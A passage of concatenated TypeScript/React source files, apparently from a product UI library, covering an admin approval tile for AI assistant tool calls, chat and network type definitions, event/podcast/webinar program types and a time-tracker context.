[expanded, setExpanded] = useState(defaultExpanded)\n  // Toggling the command section pins the tile so a live pop-up doesn't\n  // auto-dismiss out from under the user mid-read.\n  const [pinned, setPinned] = useState(defaultExpanded)\n  const [processing, setProcessing] = useState(false)\n  // Optimistic status for this user's own click; backend resolution (below) wins once it arrives.\n  const [localStatus, setLocalStatus] = useState<ChatApprovalStatus | null>(null)\n\n  const approval = getApprovalMeta(notification)\n  const resolvedStatus = resolutionToStatus(approval?.resolution)\n  const status: ChatApprovalStatus = resolvedStatus !== 'pending' ? resolvedStatus : (localStatus ?? 'pending')\n\n  const batchData = useMemo(() => (approval ? approvalMetaToBatchData(approval) : null), [approval])\n\n  const { innerRef, containerStyle } = useCollapsible({ expanded })\n\n  if (!approval || !batchData) return null\n\n  const tileNotification: Notification = {\n    ...notification,\n    type: notification.type ?? 'Approval Required',\n  }\n\n  const commandWord = batchData.toolCalls.length > 1 ? 'commands' : 'command'\n  const toggleLabel = `${expanded ? 'Hide' : 'Show'} ${commandWord} section`\n\n  const resolve = async (\n    nextStatus: 'approved' | 'rejected',\n    action: (approvalRequestId: string) => void | Promise<void>,\n  ) => {\n    setProcessing(true)\n    setLocalStatus(nextStatus)\n    try {\n      await action(batchData.approvalRequestId)\n    } catch {\n      setLocalStatus(null) // roll back the optimistic flip; the request failed\n      return\n    } finally {\n      setProcessing(false)\n    }\n    // Outside the try: a throwing consumer callback must not roll back a request\n    // that already succeeded server-side.\n    onComplete(notification.id)\n  }\n\n  return (\n    <NotificationTile\n      notification={tileNotification}\n      liveDurationMs={liveDurationMs}\n      onComplete={onComplete}\n      onSettle={onSettle}\n      className={className}\n      paused={pinned || processing}\n      actions={\n        <div className=\"flex w-full items-center gap-[var(--spacing-system-xs)]\">\n          {status === 'pending' ? (\n            <>\n              <Button variant=\"accent\" size=\"small\" onClick={() => resolve('approved', onApprove)} disabled={processing}>\n                Approve\n              </Button>\n              <Button variant=\"outline\" size=\"small\" onClick={() => resolve('rejected', onReject)} disabled={processing}>\n                Reject\n              </Button>\n            </>\n          ) : (\n            <span className=\"flex min-w-0 items-center gap-[var(--spacing-system-xsf)]\">\n              <ApprovalStatusTag status={status} />\n              {approval.resolvedByName ? (\n                <span className=\"truncate text-h6 text-ods-text-secondary\">by {approval.resolvedByName}</span>\n              ) : null}\n            </span>\n          )}\n          <Button\n            variant=\"outline\"\n            size=\"small\"\n            onClick={() => {\n              setExpanded(prev => !prev)\n              setPinned(true)\n            }}\n            aria-expanded={expanded}\n            aria-label={toggleLabel}\n            className=\"ml-auto w-6 shrink-0 px-0 md:w-8\"\n          >\n            <ExpandChevron expanded={expanded} />\n          </Button>\n        </div>\n      }\n    >\n      <div style={containerStyle}>\n        {/* Divider lives inside the measured element — useCollapsible caps the\n            container at the inner scrollHeight, which excludes the inner's own borders. */}\n        <div ref={innerRef}>\n          <div className=\"border-t border-ods-border\">\n            <ApprovalBatchMessage\n              data={batchData}\n              showExecutionStatus={false}\n              showFooterActions={false}\n              maxBodyHeight=\"50vh\"\n              className=\"mb-0 rounded-none border-0\"\n            />\n          </div>\n        </div>\n      </div>\n    </NotificationTile>\n  )\n}\n","/**\n * Core chat types and enums\n */\n\n// ========== Chat Type Definitions ==========\n\nexport const CHAT_TYPE = {\n  CLIENT: 'CLIENT_CHAT',\n  ADMIN: 'ADMIN_AI_CHAT',\n} as const\n\nexport type ChatType = typeof CHAT_TYPE[keyof typeof CHAT_TYPE]\n\n// ========== Owner Type Definitions ==========\n\nexport const OWNER_TYPE = {\n  CLIENT: 'CLIENT',\n  ADMIN: 'ADMIN',\n  ASSISTANT: 'ASSISTANT',\n} as const\n\nexport type OwnerType = typeof OWNER_TYPE[keyof typeof OWNER_TYPE]\n\n// ========== Role Definitions ==========\n\nexport const MESSAGE_ROLE = {\n  USER: 'user',\n  ASSISTANT: 'assistant',\n  ERROR: 'error',\n  SYSTEM: 'system',\n} as const\n\nexport type MessageRole = typeof MESSAGE_ROLE[keyof typeof MESSAGE_ROLE]\n\n// ========== Assistant Type Definitions ==========\n\nexport const ASSISTANT_TYPE = {\n  FAE: 'fae',\n  MINGO: 'mingo',\n} as const\n\nexport type AssistantType = typeof ASSISTANT_TYPE[keyof typeof ASSISTANT_TYPE]\n\n// ========== Author Type Definitions ==========\n\nexport const AUTHOR_TYPE = {\n  USER: 'user',\n  ADMIN: 'admin',\n  FAE: 'fae',\n  MINGO: 'mingo',\n  SYSTEM: 'system',\n} as const\n\nexport type AuthorType = typeof AUTHOR_TYPE[keyof typeof AUTHOR_TYPE]\n\n// ========== Approval Status Definitions ==========\n\nexport const APPROVAL_STATUS = {\n  PENDING: 'pending',\n  APPROVED: 'approved',\n  REJECTED: 'rejected',\n  CANCELLED: 'cancelled',\n} as const\n\nexport type ChatApprovalStatus = typeof APPROVAL_STATUS[keyof typeof APPROVAL_STATUS]\n\n// ========== Approval Block Variant Definitions ==========\n\n/**\n * Who is LOOKING at an approval block — not which assistant produced it.\n * `admin` (default) shows the full block: command/script preview, expandable\n * args/result, tool icon. `client` (end-user Fae desktop app) shows only the\n * BE-generated title plus Approve/Reject or the resolved-status pill — raw\n * commands and scripts must never reach the end client. Admin surfaces that\n * render a Fae dialog (tickets dialog client tab) keep the admin variant.\n */\nexport const APPROVAL_BLOCK_VARIANT = {\n  ADMIN: 'admin',\n  CLIENT: 'client',\n} as const\n\nexport type ApprovalBlockVariant = typeof APPROVAL_BLOCK_VARIANT[keyof typeof APPROVAL_BLOCK_VARIANT]\n\n// ========== Connection Status Definitions ==========\n\nexport const CONNECTION_STATUS = {\n  CONNECTING: 'connecting',\n  CONNECTED: 'connected',\n  DISCONNECTED: 'disconnected',\n  RECONNECTING: 'reconnecting',\n  CLOSED: 'closed',\n  ERROR: 'error',\n} as const\n\nexport type ConnectionStatus = typeof CONNECTION_STATUS[keyof typeof CONNECTION_STATUS]\n\n// ========== Message Owner Interface ==========\n\nexport interface MessageOwner {\n  type: OwnerType\n  machineId?: string\n  userId?: string\n  model?: string\n  user?: {\n    id: string\n    firstName?: string\n    lastName?: string\n    /** Optional author avatar. Host queries it on the message owner (e.g.\n     *  GraphQL `User.image`); `imageUrl` may be relative — the host is\n     *  responsible for resolving it to an absolute/proxied URL. */\n    image?: { imageUrl?: string | null } | null\n  }\n}\n\n// ========== Content-shape helpers ==========\n\nimport type { MessageContent, MessageSegment } from './message.types'\n\n/** Helper function to check if content is structured (segment array). */\nexport function isStructuredContent(content: MessageContent): content is MessageSegment[] {\n  return Array.isArray(content)\n}\n\n/** Normalize either a string or segment array into a uniform segment array. */\nexport function normalizeContent(content: MessageContent): MessageSegment[] {\n  if (typeof content === 'string') {\n    return content ? [{ type: 'text', text: content }] : []\n  }\n  return content\n}\n\n// ========== SSE event data shapes (wire shapes) ==========\n\nexport interface TextEventData {\n  type: 'TEXT'\n  text: string\n}\n\nexport interface ToolExecutionEventData {\n  type: 'EXECUTING_TOOL' | 'EXECUTED_TOOL'\n  integratedToolType: string\n  toolFunction: string\n  parameters?: Record<string, any>\n  result?: string\n  success?: boolean\n}\n\nexport type SSEEventData = TextEventData | ToolExecutionEventData\n\n// ========== Quick-action chip shape ==========\n\nexport interface QuickAction {\n  id: string\n  text: string\n}\n","/**\n * Network and communication types\n * Contains types for NATS, WebSocket, and network configuration\n */\n\nimport type { ChatType } from './chat.types'\n\n// ========== NATS Types ==========\n\nexport type NatsMessageType = 'message' | 'admin-message'\n\nexport type NatsConnectionStatus = 'connecting' | 'connected' | 'disconnected' | 'reconnecting' | 'closed' | 'error'\n\nexport type NatsConnectionSource = 'client' | 'agent' | 'dashboard'\n\n// ========== Network Configuration ==========\n\nexport const NETWORK_CONFIG = {\n  SHARED_CLOSE_DELAY_MS: 3000,\n  CONNECT_TIMEOUT_MS: 10_000,\n  RECONNECT_TIME_WAIT_MS: 2000,\n  PING_INTERVAL_MS: 30_000,\n  MAX_PING_OUT: 3,\n  DEFAULT_MESSAGE_LIMIT: 50,\n  POLL_MESSAGE_LIMIT: 10,\n  RETRY_INITIAL_DELAY_MS: 1000,\n  RETRY_MAX_DELAY_MS: 30_000,\n  RETRY_BACKOFF_MULTIPLIER: 2,\n} as const\n\nexport type NetworkConfig = typeof NETWORK_CONFIG\n\n// ========== Chunk Data Types ==========\n\nexport interface ChunkData {\n  sequenceId?: number\n  /** JetStream stream sequence, populated from JsMsg.info.streamSequence when delivered via JetStream. */\n  streamSeq?: number\n  /** Authoritative dialog streaming state at the time this chunk was emitted; consumers should mirror it into their dialog cache. */\n  streamState?: 'IDLE' | 'STREAMING'\n  type: string\n  text?: string\n  integratedToolType?: string\n  toolFunction?: string\n  /** Execution chunks carry the human-readable title as `title`. */\n  title?: string\n  /** EXECUTING_TOOL chunks carry the tool's human-readable explanation (what/why). */\n  toolExplanation?: string\n  parameters?: Record<string, any>\n  result?: string\n  success?: boolean\n  toolExecutionRequestId?: string\n  error?: string\n  details?: string\n  approvalRequestId?: string\n  approval_request_id?: string\n  approvalType?: string\n  command?: string\n  explanation?: string\n  approved?: boolean\n  /** On APPROVAL_RESULT chunks: display name of the user who resolved the request. */\n  resolvedByName?: string\n  toolCalls?: any[]\n  /** On GUIDE chunks: a Product Guide frame the agent re-streamed verbatim from\n   *  the hub, instead of the answer text `text` carries. Decoded by\n   *  `decodeNatsChunk` through the shared leading-frame table. */\n  payload?: Record<string, unknown>\n  modelName?: string\n  providerName?: string\n  provider?: string\n  contextWindow?: number\n  ownerType?: string\n  displayName?: string\n  [key: string]: any\n}\n\nexport interface BufferedChunk {\n  chunk: ChunkData\n  messageType: NatsMessageType\n}\n\n// ========== WebSocket Types ==========\n\nexport interface WebSocketMessage {\n  type: string\n  payload: any\n  timestamp?: string\n  id?: string\n}\n\nexport interface WebSocketConfig {\n  url: string\n  protocols?: string | string[]\n  reconnect?: boolean\n  reconnectInterval?: number\n  maxReconnectAttempts?: number\n  onOpen?: (event: Event) => void\n  onClose?: (event: CloseEvent) => void\n  onError?: (event: Event) => void\n  onMessage?: (event: MessageEvent) => void\n}\n\n// ========== Fetch Functions ==========\n\nexport type FetchChunksFunction = (\n  dialogId: string,\n  chatType: ChatType,\n  fromSequenceId?: number | null\n) => Promise<ChunkData[]>\n\n// ========== Network Response Types ==========\n\nexport interface NetworkResponse<T = any> {\n  success: boolean\n  data?: T\n  error?: string\n  message?: string\n}\n\nexport interface PaginatedResponse<T = any> extends NetworkResponse<T> {\n  page: number\n  pageSize: number\n  totalCount: number\n  totalPages: number\n}\n\n// ========== API Error Types ==========\n\nexport interface NetworkError {\n  code: string\n  message: string\n  details?: any\n  timestamp: string\n}","/**\n * Unified Program System Types\n *\n * Base interfaces and types for the Unified Program System that handles\n * events, podcasts, and webinars through a single set of generic components.\n *\n * Design Goals:\n *   1. Maximum Reuse: Single set of components works for all program types\n *   2. Type Safety: TypeScript generics ensure correct data shapes\n *   3. Configuration-Driven: Program types defined via configuration objects\n *   4. Admin Consistency: Same patterns work for public pages and admin CRUD\n *\n * Lifted from `lib/types/program-types.ts` in the hub. The pure transform\n * helpers (`transformEventToProgram`, `transformPodcastToProgram`,\n * `transformWebinarToProgram`) also move here — they're pure shape\n * mappers with no DB / state access.\n */\n\nimport type { ReactNode } from 'react';\nimport {\n  toStripProfile,\n  type VideoBiteStripProfile,\n} from '../../../features/video-bites-shared';\n\n// ============================================================================\n// HOST TYPES\n// ============================================================================\n\n/**\n * Host/Speaker information for programs\n */\nexport interface ProgramHost {\n  id?: string;\n  name: string;\n  email?: string;\n  avatar_url?: string;\n  bio?: string;\n  role?: string; // e.g., \"Host\", \"Speaker\", \"Guest\"\n}\n\n/**\n * Client-safe author subset hydrated onto program items from the entity's\n * `author_id → profiles` FK join (podcast episodes / webinars). Deliberately\n * excludes `email` — this shape is serialized into public payloads.\n */\nexport interface ProgramAuthorRef {\n  id?: string | null;\n  full_name?: string | null;\n  avatar_url?: string | null;\n  job_title?: string | null;\n}\n\n/**\n * Video-bites overlay profile for a program item: internal author first\n * (`author_id → profiles`), then the provider-synced primary host (Livestorm\n * speakers / Podbean hosts). Host `role` is a raw provider enum (e.g.\n * `team_member`) — never display copy, so it is not used as the subtitle.\n * Routes through `toStripProfile` (the SSoT — null on missing names).\n */\nexport function programItemToStripProfile(item: {\n  author?: ProgramAuthorRef | null;\n  hosts?: ProgramHost[] | null;\n}): VideoBiteStripProfile | null {\n  const fromAuthor = toStripProfile(item.author);\n  if (fromAuthor) return fromAuthor;\n  const host = Array.isArray(item.hosts) ? item.hosts[0] : null;\n  if (!host?.name) return null;\n  return toStripProfile({ full_name: host.name, avatar_url: host.avatar_url ?? null });\n}\n\n// ============================================================================\n// DATABASE ROW TYPES\n// ============================================================================\n\n/**\n * Raw database row from luma_events table\n * Note: Many fields are optional to support partial queries\n * where not all columns are selected. The hosts field uses\n * unknown to accommodate JSON parsing from the database.\n */\nexport interface LumaEventRow {\n  id: string;\n  name: string;\n  description?: string | null;\n  cover_url?: string | null;\n  start_at: string;\n  end_at: string;\n  timezone?: string | null;\n  location_name?: string | null;\n  location_full_address?: string | null;\n  geo_latitude?: number | null;\n  geo_longitude?: number | null;\n  meeting_url?: string | null;\n  event_url?: string | null;\n  guest_count?: number | null;\n  visibility?: string | null;\n  hosts?: ProgramHost[] | null;\n  platform_id: string;\n  luma_api_id: string;\n  is_deleted?: boolean;\n}\n\n/**\n * Raw database row from podcast_episodes table\n * Note: Many fields are optional to support partial queries\n * where not all columns are selected.\n */\nexport interface PodcastEpisodeRow {\n  id: string;\n  title: string;\n  description?: string | null;\n  cover_url?: string | null;\n  published_at?: string | null;\n  created_at: string;\n  external_url?: string | null;\n  hosts?: ProgramHost[] | null;\n  platform_id: string;\n  podbean_episode_id: string;\n  podbean_podcast_id: string;\n  audio_url?: string | null;\n  /** Podbean-supplied source video URL (was `video_url` pre-rename). */\n  main_video_url?: string | null;\n  media_type?: 'audio' | 'video' | null;\n  duration_seconds?: number | null;\n  status?: string | null;\n  is_deleted?: boolean;\n  // Override fields (not synced by job)\n  cover_image_override?: string | null;\n  custom_video_url?: string | null;\n}\n\n/**\n * Raw database row from webinars table\n * Note: Many fields are optional to support partial queries\n * where not all columns are selected.\n */\nexport interface WebinarRow {\n  id: string;\n  title: string;\n  description?: string | null;\n  cover_url?: string | null;\n  start_at: string;\n  end_at?: string | null;\n  timezone?: string | null;\n  registration_url?: string | null;\n  hosts?: ProgramHost[] | null;\n  platform_id: string;\n  livestorm_event_id: string;\n  is_deleted?: boolean;\n  /** Livestorm-supplied recording URL (was `recording_url` pre-rename). */\n  main_video_url?: string | null;\n  // Override fields (not synced by job)\n  custom_video_url?: string | null;\n  display_date_override?: string | null;\n  cover_image_override?: string | null;\n}\n\n// ============================================================================\n// BASE PROGRAM ITEM\n// ============================================================================\n\n/**\n * Base interface that all program items must implement\n * This enables the generic components to work across events, podcasts, and webinars\n */\nexport interface BaseProgramItem {\n  id: string;\n  title: string; // Maps to: name (events), title (podcasts/webinars)\n  description: string | null;\n  cover_url: string | null; // Primary image\n  date: string; // ISO date string - maps to: start_at, published_at\n  external_url?: string | null; // Registration/play link\n  hosts?: ProgramHost[] | null; // Speakers/hosts\n  // Platform tagging lives in the host app's `entity_platforms` array (exposed\n  // under the per-entity arrayKey, e.g. `podcast_platforms`), NOT a derived\n  // singular `platform_id` on the item. ProgramCard routes via the `href` /\n  // `targetPlatform` props the caller computes, so it needs no platform field here.\n}\n\n// ============================================================================\n// PROGRAM-SPECIFIC INTERFACES\n// ============================================================================\n\n/**\n * Event-specific fields (from luma_events table)\n */\nexport interface EventItem extends BaseProgramItem {\n  luma_api_id: string;\n  end_at: string;\n  timezone?: string | null;\n  location_name?: string | null;\n  location_full_address?: string | null;\n  geo_latitude?: number | null;\n  geo_longitude?: number | null;\n  meeting_url?: string | null;\n  event_url?: string | null;\n  guest_count?: number | null;\n  visibility?: string | null;\n  is_deleted: boolean;\n}\n\n/**\n * Podcast episode fields (from podcast_episodes table)\n * Updated for Podbean video podcast support\n */\nexport interface PodcastItem extends BaseProgramItem {\n  author_id?: string | null;\n  podbean_episode_id: string;\n  podbean_podcast_id: string;\n  audio_url?: string | null;\n  /** Podbean-supplied source video URL (was `video_url` pre-rename). */\n  main_video_url?: string | null;\n  media_type: 'audio' | 'video';\n  duration_seconds?: number | null;\n  status: string;\n  published_at: string | null;\n  is_deleted: boolean;\n  podcast_url?: string | null; // Main podcast page URL from Podbean\n  // Override fields (not synced by job)\n  cover_image_override?: string | null;\n  custom_video_url?: string | null;\n  // Video processing fields\n  transcript?: string | null;\n  transcript_words_data?: unknown;\n  srt_content?: string | null;\n  video_summary?: string | null;\n  video_bites?: unknown[];\n  highlight_video_url?: string | null;\n  highlight_video_source?: string | null;\n  highlight_video_thumbnail?: string | null;\n  highlight_video_duration_ms?: number | null;\n  main_video_thumbnail?: string | null;\n  config?: Record<string, unknown>;\n  custom_instructions?: string | null;\n  seo_title?: string | null;\n  seo_description?: string | null;\n  seo_keywords?: string | null;\n  ai_confidence_video_summary?: number | null;\n  ai_confidence_transcript?: number | null;\n}\n\n/**\n * Webinar fields (from webinars table)\n */\nexport interface WebinarItem extends BaseProgramItem {\n  author_id?: string | null;\n  livestorm_event_id: string;\n  start_at: string;\n  end_at?: string | null;\n  timezone?: string | null;\n  registration_url?: string | null;\n  is_deleted: boolean;\n  /** Livestorm-supplied recording URL (was `recording_url` pre-rename). */\n  main_video_url?: string | null;\n  // Override fields (not synced by job)\n  custom_video_url?: string | null;\n  display_date_override?: string | null;\n  cover_image_override?: string | null;\n  // Video processing fields\n  transcript?: string | null;\n  transcript_words_data?: unknown;\n  srt_content?: string | null;\n  video_summary?: string | null;\n  video_bites?: unknown[];\n  highlight_video_url?: string | null;\n  highlight_video_source?: string | null;\n  highlight_video_thumbnail?: string | null;\n  highlight_video_duration_ms?: number | null;\n  main_video_thumbnail?: string | null;\n  config?: Record<string, unknown>;\n  custom_instructions?: string | null;\n  seo_title?: string | null;\n  seo_description?: string | null;\n  seo_keywords?: string | null;\n  ai_confidence_video_summary?: number | null;\n  ai_confidence_transcript?: number | null;\n}\n\n// ============================================================================\n// PROGRAM CONFIGURATION\n// ============================================================================\n\n/**\n * Program type identifier\n */\nexport type ProgramType = 'event' | 'podcast' | 'webinar';\n\n/**\n * Labels configuration for a program type\n */\nexport interface ProgramLabels {\n  singular: string; // \"Event\", \"Episode\", \"Webinar\"\n  plural: string; // \"Events\", \"Episodes\", \"Webinars\"\n  upcoming: string; // \"Next Event\", \"Latest Episode\", \"Upcoming Webinar\"\n  upcomingSection: string; // \"Upcoming Events\", \"Upcoming Episodes\", \"Upcoming Webinars\"\n  archive: string; // \"Past Events\", \"All Episodes\", \"Past Webinars\"\n  empty: string; // \"No events yet\", \"No episodes yet\", \"No webinars yet\"\n}\n\n/**\n * Configuration object that defines how a program type behaves\n * This is the core abstraction that enables generic components\n */\nexport interface ProgramConfig<T extends BaseProgramItem = BaseProgramItem> {\n  type: ProgramType;\n  labels: ProgramLabels;\n  dateField: keyof T; // Which field to sort/filter by\n  table: string; // Database table name\n  apiEndpoint: string; // Base API path\n  icon: ReactNode; // Section icon (CalendarDays, Mic, Video)\n  platformIcon?: ReactNode; // External platform icon (optional)\n  externalLinkLabel: string; // \"View on Luma\", \"Listen on Podbean\", \"Watch on Livestorm\"\n  detailRoute: string; // \"/events\", \"/podcasts\", \"/webinars\"\n\n  // Optional customization\n  sortOrder?: 'asc' | 'desc'; // Default sort order for archive\n  showInNav?: boolean; // Whether to show in navigation\n  platformUrl?: string; // Fallback URL to external platform (e.g., Podbean main page)\n  heroCoverAspect?: 'landscape' | 'square'; // Hero cover image aspect ratio (default: 'landscape')\n}\n\n// ============================================================================\n// GENERIC DATA TYPES\n// ============================================================================\n\n/**\n * Generic response for program list queries\n */\nexport interface ProgramListResponse<T extends BaseProgramItem> {\n  items: T[];\n  count: number;\n  hasMore?: boolean;\n}\n\n/**\n * Generic response for single program queries\n */\nexport interface ProgramItemResponse<T extends BaseProgramItem> {\n  item: T;\n  media?: ProgramMedia[];\n}\n\n/**\n * Program media (photos, videos, etc.)\n */\nexport interface ProgramMedia {\n  id: string;\n  program_id: string;\n  media_type: 'image' | 'video' | 'audio';\n  media_url: string;\n  title?: string | null;\n  description?: string | null;\n  display_order: number;\n  created_at: string;\n}\n\n// ============================================================================\n// FILTER AND QUERY TYPES\n// ============================================================================\n\n/**\n * Filter options for program queries\n */\nexport interface ProgramFilter {\n  filter: 'upcoming' | 'past' | 'all';\n  limit?: number;\n  offset?: number;\n  search?: string;\n}\n\n/**\n * Admin query options\n */\nexport interface AdminProgramFilter extends ProgramFilter {\n  includeDeleted?: boolean;\n  sortBy?: string;\n  sortOrder?: 'asc' | 'desc';\n}\n\n// ============================================================================\n// TRANSFORM UTILITIES\n// ============================================================================\n\n/**\n * Transform a database event row to EventItem\n */\nexport function transformEventToProgram(event: LumaEventRow): EventItem {\n  return {\n    id: event.id,\n    title: event.name,\n    description: event.description ?? null,\n    cover_url: event.cover_url ?? null,\n    date: event.start_at,\n    external_url: event.event_url ?? null,\n    hosts: event.hosts ?? null,\n    luma_api_id: event.luma_api_id,\n    end_at: event.end_at,\n    timezone: event.timezone ?? null,\n    location_name: event.location_name ?? null,\n    location_full_address: event.location_full_address ?? null,\n    geo_latitude: event.geo_latitude ?? null,\n    geo_longitude: event.geo_longitude ?? null,\n    meeting_url: event.meeting_url ?? null,\n    event_url: event.event_url ?? null,\n    guest_count: event.guest_count ?? null,\n    visibility: event.visibility ?? null,\n    is_deleted: event.is_deleted ?? false,\n  };\n}\n\n/**\n * Transform a database podcast row to PodcastItem\n */\nexport function transformPodcastToProgram(episode: PodcastEpisodeRow): PodcastItem {\n  return {\n    id: episode.id,\n    title: episode.title,\n    description: episode.description ?? null,\n    // Use cover_image_override if set, otherwise use cover_url\n    cover_url: episode.cover_image_override ?? episode.cover_url ?? null,\n    date: episode.published_at ?? episode.created_at,\n    external_url: episode.external_url ?? null,\n    hosts: episode.hosts ?? null,\n    podbean_episode_id: episode.podbean_episode_id,\n    podbean_podcast_id: episode.podbean_podcast_id,\n    audio_url: episode.audio_url ?? null,\n    main_video_url: episode.main_video_url ?? null,\n    media_type: episode.media_type ?? 'audio',\n    duration_seconds: episode.duration_seconds ?? null,\n    status: episode.status ?? 'published',\n    published_at: episode.published_at ?? null,\n    is_deleted: episode.is_deleted ?? false,\n    // Override fields\n    cover_image_override: episode.cover_image_override ?? null,\n    custom_video_url: episode.custom_video_url ?? null,\n  };\n}\n\n/**\n * Transform a database webinar row to WebinarItem\n * Uses display_date_override for date field when available (for backdating)\n * Uses cover_image_override for cover_url when available\n */\nexport function transformWebinarToProgram(webinar: WebinarRow): WebinarItem {\n  return {\n    id: webinar.id,\n    title: webinar.title,\n    description: webinar.description ?? null,\n    // Use cover_image_override if set, otherwise use cover_url\n    cover_url: webinar.cover_image_override ?? webinar.cover_url ?? null,\n    // Use display_date_override if set, otherwise use start_at\n    date: webinar.display_date_override ?? webinar.start_at,\n    external_url: webinar.registration_url ?? null,\n    hosts: webinar.hosts ?? null,\n    livestorm_event_id: webinar.livestorm_event_id,\n    start_at: webinar.start_at,\n    end_at: webinar.end_at ?? null,\n    timezone: webinar.timezone ?? null,\n    registration_url: webinar.registration_url ?? null,\n    is_deleted: webinar.is_deleted ?? false,\n    main_video_url: webinar.main_video_url ?? null,\n    // Override fields\n    custom_video_url: webinar.custom_video_url ?? null,\n    display_date_override: webinar.display_date_override ?? null,\n    cover_image_override: webinar.cover_image_override ?? null,\n  };\n}\n","import type { ReactNode } from 'react'\nimport { APPROVAL_STATUS, type ApprovalBatchData, type ChatApprovalStatus } from '../../chat/types'\n\nexport type NotificationVariant = 'default' | 'success' | 'warning' | 'error' | 'info'\n\nexport type NotificationSeverity = 'INFO' | 'SUCCESS' | 'WARNING' | 'DANGER'\n\nexport interface Notification {\n  id: string\n  variant?: NotificationVariant\n  /** Kind label rendered uppercase in the tile header (e.g. \"New Customer Created\"). */\n  type?: string\n  /** Custom icon for the tile header slot; inherits the severity color via `currentColor`. */\n  icon?: ReactNode\n  /**\n   * Image URL for the tile header slot; takes precedence over `icon`. Proxy external\n   * URLs on the consumer side (ad-blockers routinely block direct third-party avatars);\n   * on load failure the tile falls back to `icon`/dot.\n   */\n  imageUrl?: string\n  title: ReactNode\n  description?: ReactNode\n  createdAt: number\n  read?: boolean\n  settled?: boolean\n  severity?: NotificationSeverity\n  category?: string\n  meta?: Record<string, unknown>\n  onClick?: () => void\n}\n\nexport type AddNotificationInput =\n  Omit<Notification, 'id' | 'createdAt' | 'read' | 'settled'> & {\n    id?: string\n    createdAt?: number\n    read?: boolean\n  }\n\n/** Per-notification tile renderer; return a node to override the default `NotificationTile`, or `undefined` to fall back. */\nexport type RenderNotificationTile = (\n  notification: Notification,\n  helpers: { onComplete: (id: string) => void; onSettle: (id: string) => void; liveDurationMs?: number },\n) => ReactNode\n\n/** Discriminator carried in `notification.meta.contextType` for Mingo approval requests. */\nexport const ADMIN_APPROVAL_REQUEST_CONTEXT_TYPE = 'ADMIN_APPROVAL_REQUEST'\n\n/** A single planned tool invocation awaiting approval. */\nexport interface ApprovalToolCallMeta {\n  toolExecutionRequestId?: string | null\n  toolName: string\n  toolTitle?: string | null\n  toolExplanation?: string | null\n  toolType?: string | null\n  requiresApproval?: boolean\n  approvalType?: string | null\n  toolCallArguments?: Record<string, unknown> | null\n}\n\n/** Approval payload stashed in `notification.meta` for an `ADMIN_APPROVAL_REQUEST` notification. */\nexport interface ApprovalNotificationMeta {\n  approvalRequestId: string\n  dialogId?: string | null\n  ticketId?: string | null\n  approvalType?: string | null\n  /** Backend `ApprovalResolution`: PENDING | APPROVED | REJECTED | CANCELLED. Null until resolved. */\n  resolution?: string | null\n  /** Display name of the user who resolved the request; null until resolved (or for system actions). */\n  resolvedByName?: string | null\n  toolCalls: ApprovalToolCallMeta[]\n}\n\nexport function isApprovalNotification(notification: Notification): boolean {\n  return notification.meta?.contextType === ADMIN_APPROVAL_REQUEST_CONTEXT_TYPE\n}\n\n/** Safely read the approval payload off a notification; returns null when absent or malformed. */\nexport function getApprovalMeta(notification: Notification): ApprovalNotificationMeta | null {\n  if (!isApprovalNotification(notification)) return null\n  const meta = notification.meta\n  const approvalRequestId = meta?.approvalRequestId\n  const toolCalls = meta?.toolCalls\n  if (typeof approvalRequestId !== 'string' || !Array.isArray(toolCalls)) return null\n  return {\n    approvalRequestId,\n    dialogId: (meta?.dialogId as string | undefined) ?? null,\n    ticketId: (meta?.ticketId as string | undefined) ?? null,\n    approvalType: (meta?.approvalType as string | undefined) ?? null,\n    resolution: (meta?.resolution as string | undefined) ?? null,\n    resolvedByName: (meta?.resolvedByName as string | undefined) ?? null,\n    toolCalls: toolCalls as ApprovalToolCallMeta[],\n  }\n}\n\n/** Map the backend `ApprovalResolution` carried on a notification to a tile/batch status. */\nexport function resolutionToStatus(resolution: unknown): ChatApprovalStatus {\n  switch (typeof resolution === 'string' ? resolution.toUpperCase() : undefined) {\n    case 'APPROVED':\n      return APPROVAL_STATUS.APPROVED\n    case 'REJECTED':\n      return APPROVAL_STATUS.REJECTED\n    case 'CANCELLED':\n      return APPROVAL_STATUS.CANCELLED\n    default:\n      return APPROVAL_STATUS.PENDING\n  }\n}\n\n/** Build the `ApprovalBatchMessage` data payload from an approval notification's meta. */\nexport function approvalMetaToBatchData(approval: ApprovalNotificationMeta): ApprovalBatchData {\n  return {\n    approvalRequestId: approval.approvalRequestId,\n    approvalType: approval.approvalType ?? '',\n    toolCalls: approval.toolCalls.map((tc, index) => ({\n      toolExecutionRequestId: tc.toolExecutionRequestId ?? `${approval.approvalRequestId}:${index}`,\n      toolName: tc.toolName,\n      toolTitle: tc.toolTitle ?? undefined,\n      toolExplanation: tc.toolExplanation ?? undefined,\n      toolType: tc.toolType ?? undefined,\n      requiresApproval: tc.requiresApproval ?? true,\n      approvalType: tc.approvalType ?? null,\n      toolCallArguments: tc.toolCallArguments ?? null,\n    })),\n  }\n}\n","'use client'\n\nimport * as React from 'react'\nimport type { TimeTrackerData } from './types'\n\ninterface TimeTrackerContextValue extends TimeTrackerData {\n  isOpen: boolean\n  open: () => void\n  close: () => void\n  toggle: () => void\n}\n\nconst TimeTrackerContext = React.createContext<TimeTrackerContextValue | null>(null)\n\nexport interface TimeTrackerProviderProps extends TimeTrackerData {\n  children: React.ReactNode\n  defaultOpen?: boolean\n}\n\nexport function TimeTrackerProvider({ children, defaultOpen = false, ...data }: TimeTrackerProviderProps) {\n  const [isOpen, setIsOpen] = React.useState(defaultOpen)\n\n  const open = React.useCallback(() => setIsOpen(true), [])\n  const close = React.useCallback(() => setIsOpen(false), [])\n  const toggle = React.useCallback(() => setIsOpen((v) => !v), [])\n\n  // `data` is a fresh object each render, so the value identity tracks the host's\n  // render — the per-second timer tick lives in `useTrackerClock` (local state),\n  // not here, so consumers don't re-render on every tick.\n  const value: TimeTrackerContextValue = { ...data, isOpen, open, close, toggle }\n\n  return <TimeTrackerContext.Provider value={value}>{children}</TimeTrackerContext.Provider>\n}\n\nexport function useTimeTracker(): TimeTrackerContextValue {\n  const ctx = React.useContext(TimeTrackerContext)\n  if (!ctx) {\n    throw new Error('useTimeTracker must be used inside <TimeTrackerProvider>')\n  }\n  return ctx\n}\n\nexport function useOptionalTimeTracker(): TimeTrackerContextValue | null {\n  return React.useContext(TimeTrackerContext)\n}\n","'use client'\n\nimport { useEffect, useState } from 'react'\nimport { cn } from '../../../utils/cn'\nimport { Autocomplete, type AutocompleteOption } from '../../ui/autocomplete'\nimport { Button } from '../../ui/button/button'\nimport { SplitButton } from '../../ui/button/split-button'\nimport { SquareAvatar } from '../../ui/square-avatar'\nimport { Tag } from 